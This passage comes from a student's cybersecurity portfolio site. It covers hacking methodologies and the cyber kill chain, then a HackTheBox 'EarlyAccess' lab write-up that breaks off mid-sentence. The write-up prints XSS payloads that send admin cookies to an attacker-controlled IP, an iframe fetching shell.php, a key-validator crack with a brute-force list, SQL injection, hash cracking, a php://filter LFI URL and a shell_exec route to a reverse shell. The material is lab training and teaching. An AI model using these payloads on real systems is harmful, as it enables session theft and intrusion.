a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't 